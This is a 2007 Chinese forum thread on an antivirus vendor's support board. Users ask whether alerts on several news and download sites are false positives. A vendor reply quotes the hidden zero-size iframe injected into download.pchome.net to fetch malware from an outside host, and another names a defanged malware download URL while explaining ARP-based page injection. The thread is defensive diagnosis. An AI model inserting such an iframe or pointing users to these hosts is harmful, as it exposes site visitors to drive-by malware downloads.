误报？

显示全部楼层 · 发表于 2007-12-28 19:04:46

chinese.wsj.com
download.pchome.net
这两个一直报警，我把可疑文件提交给antivir分析，反馈说没有问题。

显示全部楼层 · 发表于 2007-12-29 01:18:21

chinese.wsj.com 是对其中的一个多个隐藏iframe进行报警，避免病毒连接外网，这个属于误报。但 download.pchome.net 不是。我们已经通告过pchome被挂毒，他们接到通知后曾处理过，但后仍然出现，病毒代码会自动加入
<iframe height=0 width=0 src="http://www.59.vc/page/add_644455.htm"></iframe>
以偷偷下载病毒。不是误报。谢谢。

显示全部楼层 · 发表于 2007-12-29 09:21:57

要我说没事还是少去pchome，这个经常被挂毒。

显示全部楼层 · 发表于 2007-12-29 11:49:11

要我说没事还是多去pchome，这个经常被挂毒。

显示全部楼层 · 发表于 2007-12-29 12:20:20

楼上2位的话，让人看了头晕，呵呵呵。

显示全部楼层 · 发表于 2007-12-30 16:25:13

还有这个网站
www.eastday.com
东方网，是上海的知名网站，昨天下午发现报病毒，看看是不是误报，现在病毒还真多啊！

显示全部楼层 · 发表于 2007-12-30 17:32:26

现在不报病毒了，今天下午我向东方网的投稿栏目反映过，应该引起重视删除了病毒。

显示全部楼层 · 发表于 2007-12-30 17:37:52

不好意思，刚发好帖去看了一下又报病毒，发现一个问题，有时报了病毒，再刷新网页就不报了，有时继续报，怎么回事？软件重装过，应该没问题吧！

显示全部楼层 · 发表于 2007-12-30 22:52:08

对于一些ARP挂马病毒，一些网站服务器并未中毒，而是同处同一局域网中的其他电脑中毒，致使访问时随机被加入病毒代码，而且有些是偶尔有偶尔没有，比较具有随机性。所以有时报有时不报也很正常。我们测试了一下 www.eastday.com ，确实被挂马，会自动下载病毒 hxxp://mm.wzxyq.com/mm/mm.exe 而且是时有时无，非误报，费尔可杀此毒。而且只要确保及时更新费尔病毒库一般即可防此类病毒，另外开启费尔非法写操作功能再访问毒网将可以阻止病毒下载到本机，谢谢。

显示全部楼层 · 发表于 2007-12-31 10:30:50

谢谢，连正规网站，知名网站都会。。。有木马。。。打好补丁还不够啊！装一个杀毒软件也是需要的，否则就麻烦了！现在好像不报了，以后不知道会不会再报。

[费尔] 误报？